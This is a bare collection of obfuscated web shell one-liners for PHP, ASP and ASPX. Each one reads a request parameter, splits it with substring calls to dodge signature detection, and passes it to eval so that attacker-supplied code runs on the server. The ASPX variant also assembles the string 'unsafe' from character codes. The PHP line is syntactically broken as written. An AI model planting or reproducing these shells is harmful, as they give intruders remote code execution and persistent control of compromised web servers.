php:

<?php $m=$_GET[$m=$_GET['1']; $a=substr($m,0,1); $b=substr($m,1,2); $c=substr($m,2,9999); eval($a.$b.$c)($a.$b); ?>

asp：

<% P=request("pass") A=mid(P,1,1) B=mid(P,2,9999) eval A&B %>

aspx:

<%@ Page Language="Jscript"%>
<% var p = Request.Item["M"]; var a = p.substring(0,1); var b = p.substring(1,99999); var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe"; eval(a+b,c);
%>